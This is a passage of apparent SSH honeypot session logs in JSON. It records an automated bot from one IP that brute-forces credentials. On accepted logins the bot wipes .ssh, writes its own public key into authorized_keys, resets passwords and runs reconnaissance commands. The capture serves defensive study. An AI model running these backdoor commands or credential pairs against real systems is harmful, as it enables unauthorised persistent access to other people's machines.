GNU/Linux"},{"seq":27,"at":"2026-08-26T12:12:32.860986+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:12:33.539662+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T12:12:34.396744+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:12:35.794662+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:12:36.692774+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:12:37.810281+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"zaq1!QAZ","method":"password","accepted":true,"tier":"other"}]} {"id":"9716eb80-e366-43d7-af52-5f328caadbbd","name":"fearless-wooded-marten","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":45716,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:12:11.794104+00:00","ended_at":"2026-08-26T12:12:13.690771+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"dc9ca5d6-f666-4147-b057-7fb625593e14","name":"watchful-primal-heron","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":45708,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:12:07.913848+00:00","ended_at":"2026-08-26T12:12:10.088611+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d88fad72-1dfe-4cd0-89ea-e697cf6dd402","name":"wiry-tangled-bison","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":45496,"username":"prashant","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":841,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:09:47.414572+00:00","ended_at":"2026-08-26T12:09:49.015012+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2215,"events":[{"seq":1,"at":"2026-08-26T12:09:17.390075+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:09:18.252520+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:09:26.090821+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:09:26.469454+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:09:27.305422+00:00","kind":"input","latency_ms":null,"data":"echo -e \"prashant\\nIh8ta2wB4KDS\\nIh8ta2wB4KDS\"|passwd|bash"},{"seq":6,"at":"2026-08-26T12:09:28.189269+00:00","kind":"input","latency_ms":null,"data":"echo \"prashant\\nIh8ta2wB4KDS\\nIh8ta2wB4KDS\\n\"|passwd"},{"seq":7,"at":"2026-08-26T12:09:29.023267+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:09:29.505225+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:09:30.389051+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:09:31.739546+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:09:32.592393+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:09:33.381128+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:09:34.222990+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:09:35.020080+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:09:35.890541+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:09:36.292213+00:00","kind":"output","latency_ms":null,"data":" 12:09:36 up 6 days, 8:59, 0 user, load average: 0.31, 0.35, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:09:37.153352+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:09:37.505033+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:09:38.389109+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:09:39.177753+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:09:40.015843+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:09:40.518805+00:00","kind":"output","latency_ms":null,"data":"top - 12:09:40 up 6 days, 8:59, 0 user, load average: 0.31, 0.35, 0.26\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:09:41.387449+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:09:42.075235+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:09:42.910090+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:09:43.261761+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:09:44.094895+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:09:44.786253+00:00","kind":"output","latency_ms":null,"data":"prashant"},{"seq":29,"at":"2026-08-26T12:09:45.621023+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:09:46.580170+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:09:47.415184+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:09:48.748713+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"prashant","password":"prashant","method":"password","accepted":true,"tier":"other"}]} {"id":"a4073e2f-6187-48ed-8a01-a775e08bf6f2","name":"prairie-plush-jay","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":45514,"username":"prashant","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:09:23.762746+00:00","ended_at":"2026-08-26T12:09:25.800569+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"prashant","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8ae8a71c-dce3-4def-8168-7a9afcd37ced","name":"civil-austere-moose","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":45504,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:09:20.207942+00:00","ended_at":"2026-08-26T12:09:22.037690+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"98961eec-94b9-4f7a-b4e8-1e69d08563d7","name":"frank-lunar-eagle","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":45302,"username":"lg","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":877,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:07:03.286379+00:00","ended_at":"2026-08-26T12:07:04.427112+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2186,"events":[{"seq":1,"at":"2026-08-26T12:06:31.492617+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:06:32.385263+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:06:40.092395+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:06:40.850705+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:06:41.692613+00:00","kind":"input","latency_ms":null,"data":"echo -e \"lg\\nYLku8NuYYVUO\\nYLku8NuYYVUO\"|passwd|bash"},{"seq":6,"at":"2026-08-26T12:06:42.584674+00:00","kind":"input","latency_ms":null,"data":"echo \"lg\\nYLku8NuYYVUO\\nYLku8NuYYVUO\\n\"|passwd"},{"seq":7,"at":"2026-08-26T12:06:43.454236+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:06:43.868329+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:06:44.719787+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:06:45.460828+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:06:46.303613+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:06:47.688338+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:06:48.586029+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:06:49.304170+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:06:50.186564+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:06:51.002990+00:00","kind":"output","latency_ms":null,"data":" 12:06:50 up 6 days, 8:56, 0 user, load average: 0.07, 0.06, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:06:51.888326+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:06:52.584197+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:06:53.424771+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:06:54.303933+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:06:55.190775+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:06:55.592085+00:00","kind":"output","latency_ms":null,"data":"top - 12:06:55 up 6 days, 8:57, 0 user, load average: 0.07, 0.06, 0.07\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:06:56.486041+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:06:57.277522+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:06:58.128921+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:06:59.028960+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:06:59.889746+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:07:00.409643+00:00","kind":"output","latency_ms":null,"data":"lg"},{"seq":29,"at":"2026-08-26T12:07:01.286837+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:07:02.404671+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:07:03.287396+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:07:04.156486+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"lg","password":"lg","method":"password","accepted":true,"tier":"other"}]} {"id":"a5f5cf99-3839-43b8-9835-2558bf20352b","name":"jagged-bold-crossbill","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":45318,"username":"lg","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:06:37.652299+00:00","ended_at":"2026-08-26T12:06:39.792217+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"lg","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"258cb1d0-0683-481b-bffa-ae6b3b5bce6b","name":"brisk-fickle-marmot","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":45310,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:06:34.391442+00:00","ended_at":"2026-08-26T12:06:35.901730+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b2fde54a-8381-4551-aaaf-6641981b61a8","name":"dewy-gallant-redstart","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":45100,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":843,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:04:21.388571+00:00","ended_at":"2026-08-26T12:04:22.525117+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2189,"events":[{"seq":1,"at":"2026-08-26T12:03:52.755863+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:03:53.595164+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:04:00.586682+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:04:01.286819+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:04:02.122885+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Pass1234\\n35YeslFIOY3Y\\n35YeslFIOY3Y\"|passwd|bash"},{"seq":6,"at":"2026-08-26T12:04:02.989312+00:00","kind":"input","latency_ms":null,"data":"echo \"Pass1234\\n35YeslFIOY3Y\\n35YeslFIOY3Y\\n\"|passwd"},{"seq":7,"at":"2026-08-26T12:04:03.855168+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:04:04.344561+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:04:05.200655+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:04:06.142187+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:04:06.989832+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:04:08.064745+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:04:08.903446+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:04:09.266788+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:04:10.101510+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:04:10.517324+00:00","kind":"output","latency_ms":null,"data":" 12:04:10 up 6 days, 8:54, 0 user, load average: 0.07, 0.08, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:04:11.360494+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:04:12.036508+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:04:12.891104+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:04:13.147969+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:04:13.994393+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:04:14.772245+00:00","kind":"output","latency_ms":null,"data":"top - 12:04:14 up 6 days, 8:54, 0 user, load average: 0.07, 0.08, 0.06\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:04:15.607819+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:04:16.202591+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:04:17.056018+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:04:17.484946+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:04:18.320042+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:04:18.645701+00:00","kind":"output","latency_ms":null,"data":"user"},{"seq":29,"at":"2026-08-26T12:04:19.486968+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:04:20.513374+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:04:21.389374+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:04:22.248459+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user","password":"Pass1234","method":"password","accepted":true,"tier":"other"}]} {"id":"638ea7bc-387f-4482-9deb-4b28a8d70dc9","name":"amiable-woven-ibex","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":45116,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:03:59.292647+00:00","ended_at":"2026-08-26T12:04:00.300065+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"580d214a-31f7-40e1-bdb6-820fe19498eb","name":"balmy-woven-adder","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":45108,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:03:55.591008+00:00","ended_at":"2026-08-26T12:03:57.500953+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"cb59183a-5bca-49a1-8223-53960a98c1b9","name":"crystal-watchful-dingo","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":44894,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":875,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:01:41.488922+00:00","ended_at":"2026-08-26T12:01:43.152346+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2188,"events":[{"seq":1,"at":"2026-08-26T12:01:11.127444+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:01:11.997549+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:01:19.219444+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:01:19.704694+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:01:20.591366+00:00","kind":"input","latency_ms":null,"data":"echo -e \"password12346\\nAkcDoqE27LwU\\nAkcDoqE27LwU\"|passwd|bash"},{"seq":6,"at":"2026-08-26T12:01:21.461464+00:00","kind":"input","latency_ms":null,"data":"echo \"password12346\\nAkcDoqE27LwU\\nAkcDoqE27LwU\\n\"|passwd"},{"seq":7,"at":"2026-08-26T12:01:22.316695+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:01:22.849881+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:01:23.702868+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:01:24.822784+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:01:25.693024+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:01:26.816128+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:01:27.690813+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:01:28.299645+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:01:29.193844+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:01:29.613034+00:00","kind":"output","latency_ms":null,"data":" 12:01:29 up 6 days, 8:51, 0 user, load average: 0.18, 0.15, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:01:30.497697+00:00","kind":"input","latency_ms":null,"data":"uname 